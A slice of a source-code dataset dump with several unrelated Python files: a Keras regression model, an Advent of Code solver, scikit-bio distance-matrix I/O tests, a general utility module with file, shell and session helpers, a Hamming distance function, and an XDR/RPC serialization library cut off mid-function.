print(extractor.predict(text))\n","sub_path":"entity_extractor/entity_extract_handler.py","file_name":"entity_extract_handler.py","file_ext":"py","file_size_in_byte":4307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"366598102","text":"\"\"\"A fully connected neural network architecture intended to simulate Acoustic Parameter (with an output not bounded by a sigmoid activation function)\"\"\"\n# Created by Brendon Matusch, July 2018\n\nfrom keras.layers import Dense, Dropout, BatchNormalization, InputLayer\nfrom keras.models import Model, Sequential\nfrom keras.regularizers import l2\n\n\ndef create_model() -> Model:\n \"\"\"Create and return a new instance of the fully connected network for AP simulation\"\"\"\n # Create a neural network model that includes several dense layers with hyperbolic tangent activations, L2 regularization, and batch normalization\n regularizer = l2(0)\n dropout = 0\n activation = 'tanh'\n model = Sequential([\n InputLayer(input_shape=(16,)),\n BatchNormalization(),\n Dense(12, activation=activation, kernel_regularizer=regularizer),\n Dropout(dropout),\n Dense(8, activation=activation, kernel_regularizer=regularizer),\n Dropout(dropout),\n Dense(1, kernel_regularizer=regularizer)\n ])\n # Output a summary of the model's architecture\n print(model.summary())\n # Use a mean squared error loss function and an Adam optimizer; do not print accuracy because this is a regression task\n model.compile(\n optimizer='adam',\n loss='mse',\n metrics=['mae']\n )\n # Return the untrained model\n return model\n","sub_path":"models/ap_simulation_network.py","file_name":"ap_simulation_network.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"592588227","text":"memory = [5,1,\t10,\t0,\t1,7,\t13,\t14,\t3,\t12,\t8,\t10,\t7,\t12,\t0,\t6]\n#memory = [0,2,7,0]\n#memory = [2,4,1,2]\n#memory = [0,2,2,0]\n\ndef performmemrealloc(memory):\n minindex = memory.index(max(memory))\n maxelem = memory.pop(minindex)\n #print(\"input {}\".format(memory))\n\n\n integers = maxelem // len(memory)\n remaining = maxelem % len(memory)\n\n if integers > 0:\n memory = [elem + integers for elem in memory]\n memory.insert(minindex, remaining)\n else:\n for e in range(remaining):\n myindex = (minindex + e) % len(memory)\n memory[myindex] = memory[myindex] + 1\n memory.insert(minindex,0)\n\n return(memory)\n\nresultset = []\ni=0\nwhile True:\n i+=1\n memory = (performmemrealloc(memory))\n if tuple(memory) not in resultset:\n resultset.append(tuple(memory))\n else:\n j = resultset.index(tuple(memory))\n print(\"number of iteration: {}, cycle length: {}\".format(i, i-j-1))\n break\n","sub_path":"2017/6/memoryoneliner.py","file_name":"memoryoneliner.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"451177177","text":"# ----------------------------------------------------------------------------\n# Copyright (c) 2013--, scikit-bio development team.\n#\n# Distributed under the terms of the Modified BSD License.\n#\n# The full license is in the file COPYING.txt, distributed with this software.\n# ----------------------------------------------------------------------------\n\nfrom __future__ import absolute_import, division, print_function\nfrom six import StringIO\n\nfrom unittest import TestCase, main\n\nfrom skbio import DistanceMatrix\nfrom skbio.io import DMFormatError\nfrom skbio.io.dm import (_dm_to_dissimilarity_matrix, _dm_to_distance_matrix,\n _dissimilarity_matrix_to_dm, _distance_matrix_to_dm,\n _dm_sniffer)\nfrom skbio.stats.distance import DissimilarityMatrix, DistanceMatrixError\n\n\nclass DMTestData(TestCase):\n def setUp(self):\n self.dm_1x1_fh = StringIO(DM_1x1)\n self.dm_2x2_fh = StringIO(DM_2x2)\n self.dm_2x2_asym_fh = StringIO(DM_2x2_ASYM)\n self.dm_3x3_fh = StringIO(DM_3x3)\n self.dm_3x3_whitespace_fh = StringIO(DM_3x3_WHITESPACE)\n self.dm_3x3_csv_fh = StringIO(DM_3x3_CSV)\n\n self.valid_fhs = [\n self.dm_1x1_fh,\n self.dm_2x2_fh,\n self.dm_2x2_asym_fh,\n self.dm_3x3_fh,\n self.dm_3x3_whitespace_fh\n ]\n\n self.empty_fh = StringIO()\n self.invalid_1_fh = StringIO(INVALID_1)\n self.invalid_2_fh = StringIO(INVALID_2)\n self.invalid_3_fh = StringIO(INVALID_3)\n self.invalid_4_fh = StringIO(INVALID_4)\n self.invalid_5_fh = StringIO(INVALID_5)\n self.invalid_6_fh = StringIO(INVALID_6)\n\n self.invalid_fhs = [\n (self.empty_fh, 'empty'),\n (self.invalid_1_fh, '1 value\\(s\\).*2.*\\(2\\)'),\n (self.invalid_2_fh, \"'b'.*'a'\"),\n (self.invalid_3_fh, 'extra row\\(s\\)'),\n (self.invalid_4_fh, '2 row\\(s\\).*found 1'),\n (self.invalid_5_fh, '2 row\\(s\\).*found 0'),\n (self.invalid_6_fh, r\"delimiter '\\\\t'\")\n ]\n\n\nclass DissimilarityAndDistanceMatrixReaderWriterTests(DMTestData):\n def setUp(self):\n super(DissimilarityAndDistanceMatrixReaderWriterTests, self).setUp()\n\n self.dm_1x1_data = [[0.0]]\n self.dm_2x2_data = [[0.0, 0.123], [0.123, 0.0]]\n self.dm_2x2_asym_data = [[0.0, 1.0], [-2.0, 0.0]]\n self.dm_3x3_data = [[0.0, 0.01, 4.2], [0.01, 0.0, 12.0],\n [4.2, 12.0, 0.0]]\n\n # We repeat the 3x3 example because there are two file format\n # representations of it, one that is messy and one that is not. Both\n # should be read into an equivalent object and written to an equivalent\n # format though, which is why we duplicate the 3x3 objects and strings.\n self.dissim_objs = [\n DissimilarityMatrix(self.dm_1x1_data, ['a']),\n DissimilarityMatrix(self.dm_2x2_data, ['a', 'b']),\n DissimilarityMatrix(self.dm_2x2_asym_data, ['a', 'b']),\n DissimilarityMatrix(self.dm_3x3_data, ['a', 'b', 'c']),\n DissimilarityMatrix(self.dm_3x3_data, ['a', 'b', 'c'])\n ]\n\n self.dissim_strs = [DM_1x1, DM_2x2, DM_2x2_ASYM, DM_3x3, DM_3x3]\n\n self.dissim_fhs = [self.dm_1x1_fh, self.dm_2x2_fh, self.dm_2x2_asym_fh,\n self.dm_3x3_fh, self.dm_3x3_whitespace_fh]\n\n self.dist_objs = [\n DistanceMatrix(self.dm_1x1_data, ['a']),\n DistanceMatrix(self.dm_2x2_data, ['a', 'b']),\n DistanceMatrix(self.dm_3x3_data, ['a', 'b', 'c']),\n DistanceMatrix(self.dm_3x3_data, ['a', 'b', 'c'])\n ]\n\n self.dist_strs = [DM_1x1, DM_2x2, DM_3x3, DM_3x3]\n\n self.dist_fhs = [self.dm_1x1_fh, self.dm_2x2_fh, self.dm_3x3_fh,\n self.dm_3x3_whitespace_fh]\n\n def test_read_valid_files(self):\n for fn, cls, objs, fhs in ((_dm_to_dissimilarity_matrix,\n DissimilarityMatrix, self.dissim_objs,\n self.dissim_fhs),\n (_dm_to_distance_matrix, DistanceMatrix,\n self.dist_objs, self.dist_fhs)):\n for fh, obj in zip(fhs, objs):\n fh.seek(0)\n obs = fn(fh)\n self.assertEqual(obs, obj)\n self.assertIsInstance(obs, cls)\n\n # Above files are TSV (default delimiter). Test that CSV works too.\n for fn, cls in ((_dm_to_dissimilarity_matrix, DissimilarityMatrix),\n (_dm_to_distance_matrix, DistanceMatrix)):\n exp = cls(self.dm_3x3_data, ['a', 'b', 'c'])\n self.dm_3x3_csv_fh.seek(0)\n obs = fn(self.dm_3x3_csv_fh, delimiter=',')\n self.assertEqual(obs, exp)\n self.assertIsInstance(obs, cls)\n\n def test_read_invalid_files(self):\n for fn in _dm_to_dissimilarity_matrix, _dm_to_distance_matrix:\n for invalid_fh, error_msg_regexp in self.invalid_fhs:\n with self.assertRaisesRegexp(DMFormatError, error_msg_regexp):\n invalid_fh.seek(0)\n fn(invalid_fh)\n\n # Asymmetric data only raises an error for DistanceMatrix.\n with self.assertRaises(DistanceMatrixError):\n _dm_to_distance_matrix(self.dm_2x2_asym_fh)\n\n def test_write(self):\n for fn, objs, strs in ((_dissimilarity_matrix_to_dm, self.dissim_objs,\n self.dissim_strs),\n (_distance_matrix_to_dm, self.dist_objs,\n self.dist_strs)):\n for obj, str_ in zip(objs, strs):\n fh = StringIO()\n fn(obj, fh)\n obs = fh.getvalue()\n fh.close()\n self.assertEqual(obs, str_)\n\n # Test writing CSV (TSV is written above).\n for fn, cls in ((_dissimilarity_matrix_to_dm, DissimilarityMatrix),\n (_distance_matrix_to_dm, DistanceMatrix)):\n obj = cls(self.dm_3x3_data, ['a', 'b', 'c'])\n fh = StringIO()\n fn(obj, fh, delimiter=',')\n obs = fh.getvalue()\n fh.close()\n self.assertEqual(obs, DM_3x3_CSV)\n\n def test_roundtrip_read_write(self):\n for reader_fn, writer_fn, fhs in ((_dm_to_dissimilarity_matrix,\n _dissimilarity_matrix_to_dm,\n self.dissim_fhs),\n (_dm_to_distance_matrix,\n _distance_matrix_to_dm,\n self.dist_fhs)):\n for fh in fhs:\n # Read.\n fh.seek(0)\n dm1 = reader_fn(fh)\n\n # Write.\n out_fh = StringIO()\n writer_fn(dm1, out_fh)\n out_fh.seek(0)\n\n # Read.\n dm2 = reader_fn(out_fh)\n out_fh.close()\n\n self.assertEqual(dm1, dm2)\n\n\nclass SnifferTests(DMTestData):\n def setUp(self):\n super(SnifferTests, self).setUp()\n\n def test_match_tsv(self):\n # Sniffer should match all valid files, and will match some invalid\n # ones too because it doesn't exhaustively check the entire file.\n fhs = self.valid_fhs + [self.invalid_1_fh, self.invalid_3_fh,\n self.invalid_4_fh]\n for fh in fhs:\n self.assertEqual(_dm_sniffer(fh), (True, {'delimiter': '\\t'}))\n\n def test_match_csv(self):\n self.assertEqual(_dm_sniffer(self.dm_3x3_csv_fh),\n (True, {'delimiter': ','}))\n\n def test_no_match(self):\n for fh in (self.empty_fh, self.invalid_2_fh, self.invalid_5_fh,\n self.invalid_6_fh):\n self.assertEqual(_dm_sniffer(fh), (False, {}))\n\n\nDM_1x1 = \"\\ta\\na\\t0.0\\n\"\n\nDM_2x2 = \"\\ta\\tb\\na\\t0.0\\t0.123\\nb\\t0.123\\t0.0\\n\"\n\nDM_2x2_ASYM = \"\\ta\\tb\\na\\t0.0\\t1.0\\nb\\t-2.0\\t0.0\\n\"\n\nDM_3x3 = (\"\\ta\\tb\\tc\\na\\t0.0\\t0.01\\t4.2\\nb\\t0.01\\t0.0\\t12.0\\nc\\t4.2\\t12.0\\t\"\n \"0.0\\n\")\n\n# Extra whitespace-only lines throughout. Also has comments before the header.\nDM_3x3_WHITESPACE = '\\n'.join(['# foo',\n ' \\t \\t ',\n ' #bar',\n '',\n '',\n '\\ta\\t b \\tc',\n 'a \\t0.0\\t0.01\\t4.2',\n ' \\t',\n 'b\\t0.01\\t0.0\\t12.0',\n '',\n '\\t \\t',\n '',\n 'c\\t4.2\\t12.0\\t0.0',\n '',\n ' \\t ',\n '\\t\\t\\t',\n ' '])\n\n# Same matrix as above, but delimited by commas instead of tabs.\nDM_3x3_CSV = \",a,b,c\\na,0.0,0.01,4.2\\nb,0.01,0.0,12.0\\nc,4.2,12.0,0.0\\n\"\n\n# missing data\nINVALID_1 = '\\ta\\tb\\na\\t0\\t1\\nb\\t1'\n\n# mismatched IDs\nINVALID_2 = '\\ta\\tb\\nb\\t0\\t1\\na\\t1\\t0'\n\n# extra data lines\nINVALID_3 = '\\ta\\tb\\na\\t0\\t1\\nb\\t1\\t0\\n \\nfoo\\n\\n\\n'\n\n# missing data lines\nINVALID_4 = '\\ta\\tb\\na\\t0\\t1\\n \\n'\n\n# no data lines\nINVALID_5 = '\\ta\\tb\\n'\n\n# missing leading delimiter in header\nINVALID_6 = \"a\\tb\\na\\t0.0\\t0.123\\nb\\t0.123\\t0.0\\n\"\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"skbio/io/tests/test_dm.py","file_name":"test_dm.py","file_ext":"py","file_size_in_byte":9535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"619233972","text":"# pylint: disable=C0321,C0103,C0301,E1305,E1121,C0302,C0330,C0111,W0613,W0611,R1705\n# -*- coding: utf-8 -*-\nimport os, sys, time, datetime,inspect, json, yaml\n\n\n\n################################################################################################\ndef pd_read_file(path_glob=\"*.pkl\", ignore_index=True, cols=None,\n verbose=False, nrows=-1, concat_sort=True, n_pool=1, drop_duplicates=None, col_filter=None,\n col_filter_val=None, **kw):\n \"\"\"\n Read file in parallel from disk : very Fast\n :param path_glob:\n :return:\n \"\"\"\n import glob, gc, pandas as pd, os\n def log(*s, **kw):\n print(*s, flush=True, **kw)\n \n readers = {\n \".pkl\" : pd.read_pickle,\n \".parquet\" : pd.read_parquet,\n \".csv\" : pd.read_csv,\n \".txt\" : pd.read_csv,\n \".zip\" : pd.read_csv,\n \".gzip\" : pd.read_csv,\n \".gz\" : pd.read_csv,\n }\n from multiprocessing.pool import ThreadPool\n\n if n_pool < 1:\n n_pool = 1\n\n file_list = sorted( glob.glob(path_glob) )\n n_file = len(file_list)\n if verbose: log(file_list)\n\n if n_file <= 0:\n m_job = 0\n\n elif n_file <= 2:\n m_job = n_file\n n_pool = 1\n\n else :\n m_job = 1 + n_file // n_pool if n_file >= 3 else 1\n\n pool = ThreadPool(processes=n_pool)\n if verbose : log(n_file, n_file // n_pool )\n\n dfall = pd.DataFrame()\n for j in range(0, m_job ) :\n if verbose : log(\"Pool\", j, end=\",\")\n job_list = []\n for i in range(n_pool):\n if n_pool*j + i >= n_file : break\n filei = file_list[n_pool*j + i]\n ext = os.path.splitext(filei)[1]\n if ext == None or ext == '':\n continue\n\n pd_reader_obj = readers[ext]\n if pd_reader_obj == None:\n continue\n\n job_list.append( pool.apply_async(pd_reader_obj, (filei, )))\n if verbose : log(j, filei)\n\n for i in range(n_pool):\n if i >= len(job_list): break\n dfi = job_list[ i].get()\n\n if col_filter is not None : dfi = dfi[ dfi[col_filter] == col_filter_val ]\n if cols is not None : dfi = dfi[cols]\n if nrows > 0 : dfi = dfi.iloc[:nrows,:]\n if drop_duplicates is not None : dfi = dfi.drop_duplicates(drop_duplicates)\n gc.collect()\n\n dfall = pd.concat( (dfall, dfi), ignore_index=ignore_index, sort= concat_sort)\n #log(\"Len\", n_pool*j + i, len(dfall))\n del dfi; gc.collect()\n\n if m_job>0 and verbose : log(n_file, j * n_file//n_pool )\n return dfall\n\n\n\n\ndef pd_show(df, nrows=100, **kw):\n \"\"\"\n Show from Dataframe\n \"\"\"\n import pandas as pd\n fpath = 'ztmp/ztmp_dataframe.csv'\n os_makedirs(fpath)\n df.iloc[:nrows,:].to_csv(fpath, sep=\",\", mode='w')\n\n\n ## In Windows\n cmd = f\"notepad.exe {fpath}\"\n os.system(cmd)\n\n \ndef to_float(x):\n try :\n return float(x)\n except :\n return float(\"NaN\")\n \ndef to_int(x):\n try :\n return int(x)\n except :\n return float(\"NaN\") \n\n \n################################################################################################\ndef global_verbosity(cur_path, path_relative=\"/../../config.json\",\n default=5, key='verbosity',):\n \"\"\" Get global verbosity\n verbosity = global_verbosity(__file__, \"/../../config.json\", default=5 )\n\n verbosity = global_verbosity(\"repo_root\", \"config/config.json\", default=5 )\n\n :param cur_path:\n :param path_relative:\n :param key:\n :param default:\n :return:\n \"\"\"\n try :\n if 'repo_root' == cur_path :\n cur_path = git_repo_root()\n\n if '.json' in path_relative :\n dd = json.load(open(os.path.dirname(os.path.abspath(cur_path)) + path_relative , mode='r'))\n\n elif '.yaml' in path_relative or '.yml' in path_relative :\n import yaml\n dd = yaml.load(open(os.path.dirname(os.path.abspath(cur_path)) + path_relative , mode='r'))\n\n else :\n raise Exception( path_relative + \" not supported \")\n verbosity = int(dd[key])\n\n except Exception as e :\n verbosity = default\n #raise Exception(f\"{e}\")\n return verbosity\n\n\n\n\n\n\n\n\n\n\n\n\n###################################################################################################\ndef git_repo_root():\n try :\n cmd = \"git rev-parse --show-toplevel\"\n mout, merr = os_system(cmd)\n path = mout.split(\"\\n\")[0]\n if len(path) < 1: return None\n except : return None \n return path\n\n \ndef git_current_hash(mode='full'):\n import subprocess \n # label = subprocess.check_output([\"git\", \"describe\", \"--always\"]).strip(); \n label = subprocess.check_output([ 'git', 'rev-parse', 'HEAD' ]).strip(); \n label = label.decode('utf-8')\n return label\n\n\n\n\n\n\n\n\n\n\n################################################################################################\ndef os_platform_os():\n #### get linux or windows\n pass\n\ndef os_platform_ncpu():\n ### Nb of cpus cores\n pass\n\n\ndef os_platform_ramfree():\n ### Max current free RAM\n pass\n\n\ndef os_platform_ip():\n ### Max current free RAM\n pass\n\n\n\n\n\ndef os_removedirs(path):\n \"\"\"\n issues with no empty Folder\n # Delete everything reachable from the directory named in 'top',\n # assuming there are no symbolic links.\n # CAUTION: This is dangerous! For example, if top == '/', it could delete all your disk files.\n \"\"\"\n if len(path) < 3 :\n print(\"cannot delete root folder\")\n return False\n\n import os\n for root, dirs, files in os.walk(path, topdown=False):\n for name in files:\n try :\n os.remove(os.path.join(root, name))\n except :\n pass\n for name in dirs:\n try :\n os.rmdir(os.path.join(root, name))\n except: pass\n try :\n os.rmdir(path)\n except: pass\n return True\n\n\ndef os_get_function_name():\n return sys._getframe(1).f_code.co_name\n\n\ndef os_getcwd():\n root = os.path.abspath(os.getcwd()).replace(\"\\\\\", \"/\") + \"/\"\n return root\n\n\ndef os_system(cmd, doprint=False):\n \"\"\" get values\n os_system( f\" ztmp \", doprint=True)\n \"\"\"\n import subprocess \n try :\n p = subprocess.run( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, )\n mout, merr = p.stdout.decode('utf-8'), p.stderr.decode('utf-8') \n if doprint: \n l = mout if len(merr) < 1 else mout + \"\\n\\nbash_error:\\n\" + merr\n print(l)\n\n return mout, merr\n except Exception as e :\n print( f\"Error {cmd}, {e}\")\n\n \ndef os_makedirs(dir_or_file):\n if os.path.isfile(dir_or_file) or \".\" in dir_or_file.split(\"/\")[-1] :\n os.makedirs(os.path.dirname(os.path.abspath(dir_or_file)), exist_ok=True)\n else :\n os.makedirs(os.path.abspath(dir_or_file), exist_ok=True)\n\n\n\n\n\n\n\n\n################################################################################################\nclass Session(object) :\n \"\"\" Save Python session on disk\n from util import Session\n sess = Session(\"recsys\")\n sess.save( globals() )\n \"\"\"\n def __init__(self, dir_session=\"ztmp/session/\",) :\n os.makedirs(dir_session, exist_ok=True)\n self.dir_session = dir_session\n self.cur_session = None\n print(self.dir_session)\n\n def show(self) :\n import glob\n flist = glob.glob(self.dir_session + \"/*\" )\n print(flist)\n\n def save(self, name, glob=None, tag=\"\") :\n path = f\"{self.dir_session}/{name}{tag}/\"\n self.cur_session = path\n os.makedirs(self.cur_session, exist_ok=True)\n save_session(self.cur_session, glob)\n\n def load(self, name, glob:dict=None, tag=\"\") :\n path = f\"{self.dir_session}/{name}{tag}/\"\n self.cur_session = path\n print(self.cur_session)\n load_session(self.cur_session , glob )\n\n\ndef save_session(folder , globs, tag=\"\" ) : \n import pandas as pd\n os.makedirs( folder , exist_ok= True) \n lcheck = [ \"\", \"\", \"\",\n \"\" , \"\" ] \n lexclude = { \"In\", \"Out\" }\n gitems = globs.items()\n for x, _ in gitems :\n if not x.startswith('_') and x not in lexclude :\n x_type = str(type(globs.get(x) ))\n fname = folder + \"/\" + x + \".pkl\"\n try : \n if \"pandas.core.frame.DataFrame\" in x_type :\n pd.to_pickle( globs[x], fname)\n \n elif x_type in lcheck or x.startswith('clf') :\n save( globs[x], fname ) \n \n print(fname) \n except Exception as e:\n print(x, x_type, e)\n\n\ndef load_session(folder, globs=None) :\n \"\"\"\n \"\"\"\n print(folder)\n for dirpath, subdirs, files in os.walk( folder ):\n for x in files:\n filename = os.path.join(dirpath, x) \n x = x.replace(\".pkl\", \"\")\n try :\n globs[x] = load( filename )\n print(filename) \n except Exception as e :\n print(filename, e)\n\n\ndef save(dd, to_file=\"\", verbose=False):\n import pickle, os\n os.makedirs(os.path.dirname(to_file), exist_ok=True)\n pickle.dump(dd, open(to_file, mode=\"wb\") , protocol=pickle.HIGHEST_PROTOCOL)\n #if verbose : os_file_check(to_file)\n\n\ndef load(to_file=\"\"):\n import pickle \n dd = pickle.load(open(to_file, mode=\"rb\"))\n return dd\n\n\n\n\n################################################################################################\nclass dict_to_namespace(object):\n def __init__(self, d):\n self.__dict__ = d\n\n\n\n\n\n\n\n\n\n\n\n##################################################################################################\ndef test():\n from utilmy import (os_makedirs, Session, global_verbosity, os_system \n \n )\n\n \nif __name__ == \"__main__\":\n import fire\n fire.Fire()\n\n\n\n\n","sub_path":"utilmy/utilmy.py","file_name":"utilmy.py","file_ext":"py","file_size_in_byte":9900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"20720726","text":"\ndef leftPad(string, length):\n padZero = \"\"\n padSize = abs(len(string)-length) # 3,5 = 2\n print(f'padSize={padSize}')\n for i in range(padSize):\n padZero += \"0\"\n return padZero + string\n\ndef solution(binaryA, binaryB):\n max_length = max(len(binaryA), len(binaryB))\n binaryA = leftPad(binaryA, max_length)\n binaryB = leftPad(binaryB, max_length)\n\n hamming_distance = 0\n for i in range(max_length):\n if binaryA[i] != binaryB[i]:\n hamming_distance += 1;\n return hamming_distance\n\n\nif __name__ == \"__main__\":\n ret = solution(\"10010\",\"110\")\n print(ret)","sub_path":"cp1_1_02_hamming_distance.py","file_name":"cp1_1_02_hamming_distance.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"381263435","text":"#!/usr/bin/env python\n\n# Copyright (c) 2020, Jordan Milne\n\n# This file substantially based on Pinefs, available from\n# http://www.pobox.com/~asl2/software/Pinefs\n# and is licensed under the X Consortium license:\n# Copyright (c) 2003, Aaron S. Lav, asl2@pobox.com\n# All rights reserved.\n\n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the\n# \"Software\"), to deal in the Software without restriction, including\n# without limitation the rights to use, copy, modify, merge, publish,\n# distribute, and/or sell copies of the Software, and to permit persons\n# to whom the Software is furnished to do so, provided that the above\n# copyright notice(s) and this permission notice appear in all copies of\n# the Software and that both the above copyright notice(s) and this\n# permission notice appear in supporting documentation.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT\n# OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n# HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL\n# INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING\n# FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,\n# NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION\n# WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n# Except as contained in this notice, the name of a copyright holder\n# shall not be used in advertising or otherwise to promote the sale, use\n# or other dealings in this Software without prior written authorization\n# of the copyright holder.\n\nimport abc\nimport dataclasses\nimport enum\nimport typing\nimport xdrlib\n\n\ndef isinstance_or_subclass(val, to_check):\n if isinstance(val, to_check):\n return True\n return isinstance(val, type) and issubclass(val, to_check)\n\n\nclass LengthType(enum.IntEnum):\n VAR = 0\n FIXED = 1\n\n\nclass LengthMismatchException(Exception):\n pass\n\n\nclass BadUnionSwitchException(Exception):\n pass\n\n\nclass Packable:\n @abc.abstractmethod\n def unpack(self, up: xdrlib.Unpacker):\n pass\n\n @abc.abstractmethod\n def pack(self, p: xdrlib.Packer, val):\n pass\n\n @classmethod\n @abc.abstractmethod\n def type_hint(cls) -> str:\n pass\n\n\nclass Array(Packable):\n \"\"\"Pack and unpack a fixed-length or variable-length array,\n both corresponding to a Python list\"\"\"\n\n def __init__(self, base_typ, fixed_len, length=None):\n self.base_type: Packable = base_typ\n self.fixed_len = fixed_len\n self.length = length\n assert (not (fixed_len and length is None))\n\n def type_hint(self):\n return f\"typing.List[{self.base_type.type_hint()}]\"\n\n def pack(self, p, val):\n def pack_one(v):\n self.base_type.pack(p, v)\n\n if self.fixed_len:\n val_len = len(val)\n if val_len > self.length:\n raise LengthMismatchException(self.length, val_len)\n p.pack_farray(val_len, val, pack_one)\n else:\n p.pack_array(val, pack_one)\n\n def unpack(self, up):\n def unpack_one():\n return self.base_type.unpack(up)\n\n if self.fixed_len:\n return up.unpack_farray(self.length, unpack_one)\n else:\n return up.unpack_array(unpack_one)\n\n\nclass Opaque(Packable):\n \"\"\"Pack and unpack an opaque or string type, both corresponding\n to a Python string\"\"\"\n\n def __init__(self, fixed_len, length=None):\n self.length = length\n self.fixed_len = fixed_len\n assert (not (fixed_len and length is None))\n\n @classmethod\n def type_hint(cls):\n return \"bytes\"\n\n def pack(self, p, val):\n if self.fixed_len:\n val_len = len(val)\n if val_len > self.length:\n raise LengthMismatchException(self.length, val_len)\n p.pack_fopaque(len(val), val)\n else:\n p.pack_opaque(val)\n\n def unpack(self, up):\n if self.fixed_len:\n return up.unpack_fopaque(self.length)\n else:\n return up.unpack_opaque()\n\n\nPACKABLE_OR_PACKABLE_CLASS = typing.Union[\"packable\", typing.Type[\"packable\"]]\n\n\ndef rpc_field(serializer: PACKABLE_OR_PACKABLE_CLASS, default=dataclasses.MISSING):\n return dataclasses.field(metadata={\"serializer\": serializer}, default=default)\n\n\n@dataclasses.dataclass\nclass StructUnionBase(Packable, abc.ABC):\n @classmethod\n def get_fields(cls) -> typing.Tuple[dataclasses.Field]:\n return dataclasses.fields(cls)\n\n @classmethod\n def get_fields_dict(cls) -> typing.Dict[str, dataclasses.Field]:\n return {f.name: f for f in cls.get_fields()}\n\n\n@dataclasses.dataclass\nclass Struct(StructUnionBase, abc.ABC):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n @classmethod\n def have_single_field(cls):\n return len(cls.get_fields()) == 1\n\n @classmethod\n def pack(cls, p, val, want_single=False):\n if cls.have_single_field() and want_single:\n cls.get_fields()[0].metadata[\"serializer\"].pack(p, val)\n return\n\n for field in cls.get_fields():\n field.metadata[\"serializer\"].pack(p, getattr(val, field.name))\n\n @classmethod\n def unpack(cls, up, want_single=False):\n fields = cls.get_fields()\n if cls.have_single_field() and want_single:\n return fields[0].metadata[\"serializer\"].unpack(up)\n return cls(\n **{f.name: f.metadata[\"serializer\"].unpack(up) for f in fields}\n )\n\n @classmethod\n def type_hint(cls, want_single=False) -> str:\n # If we're a single elem struct (like a linked list) we just\n # (un)pack the bare value\n if cls.have_single_field() and want_single:\n first_type = cls.get_fields()[0].metadata[\"serializer\"]\n return first_type.type_hint()\n return cls.__name__\n\n\nclass LinkedList(Struct, abc.ABC):\n \"\"\"Pack and unpack an XDR linked list as a Python list.\"\"\"\n\n @classmethod\n def type_hint(cls, want_single=True) -> str:\n return f\"typing.List[{super().type_hint(want_single)}]\"\n\n @classmethod\n def pack(cls, p, val_list, want_single=True):\n return p.pack_list(val_list, lambda val: super(LinkedList, cls).pack(p, val, want_single))\n\n @classmethod\n def unpack(cls, up, want_single=True):\n return up.unpack_list(lambda: super(LinkedList, cls).unpack(up, want_single))\n\n\nUNION_DICT = typing.Dict[typing.Any, typing.Optional[str]]\n\n\n@dataclasses.dataclass\nclass Union(StructUnionBase, abc.ABC):\n SWITCH_OPTIONS: typing.ClassVar[UNION_DICT]\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n @classmethod\n def _get_switch_details(cls, sw_val):\n \"\"\"Get the type descriptor for the arm of the union specified by\n sw_val.\"\"\"\n if sw_val in cls.SWITCH_OPTIONS:\n field_name = cls.SWITCH_OPTIONS[sw_val]\n elif None in cls.SWITCH_OPTIONS:\n field_name = cls.SWITCH_OPTIONS[None]\n else:\n raise BadUnionSwitchException(sw_val)\n\n # No field associated with this branch\n if not field_name:\n return None, None\n return field_name, cls.get_fields_dict()[field_name].metadata[\"serializer\"]\n\n @classmethod\n def type_hint(cls) -> str:\n return cls.__name__\n\n @classmethod\n def pack(cls, p, val):\n switch_field = cls.get_fields()[0]\n sw_val = getattr(val, switch_field.name)\n switch_field.metadata[\"serializer\"].pack(p, sw_val)\n\n name, typ = cls._get_switch_details(sw_val)\n # There's a data field associated with this case\n if name is not None:\n typ.pack(p, getattr(val, name))\n\n @classmethod\n def unpack(cls, up):\n switch_field = cls.get_fields()[0]\n sw_val = switch_field.metadata[\"serializer\"].unpack(up)\n name, typ = cls._get_switch_details(sw_val)\n if name is not None:\n return cls(sw_val, **{name: typ.unpack(up)})\n return cls(sw_val)\n\n\nclass OptData(Packable):\n def __init__(self, typ):\n self.typ: Packable = typ\n\n @property\n def is_linked_list(self):\n return isinstance_or_subclass(self.typ, LinkedList)\n\n def type_hint(self) -> str:\n # Ugh. Gross special case because of ambiguity in the IDL.\n # At parse time we don't necessarily know whether this is\n # a pointer to a struct or a linked list-like struct.\n # linked lists are already effectively optional, so don't wrap it.\n if self.is_linked_list:\n return self.typ.type_hint()\n return f\"typing.Optional[{self.typ.type_hint()}]\"\n\n def pack(self, p, val):\n if self.is_linked_list:\n return self.typ.pack(p, val)\n\n if val is None:\n p.pack_bool(False)\n else:\n p.pack_bool(True)\n self.typ.pack(p, val)\n\n def unpack(self, up):\n if self.is_linked_list:\n return self.typ.unpack(up)\n\n tmp = up.unpack_bool()\n if tmp:\n return self.typ.unpack(up)\n else:\n return None\n\n\nclass BaseType(Packable):\n def __init__(self, p, up, python_type: typing.Optional[typing.Type]):\n self.p_proc = p\n self.up_proc = up\n self.python_type = python_type\n\n def pack(self, p, val):\n self.p_proc(p, val)\n\n def unpack(self, up):\n return 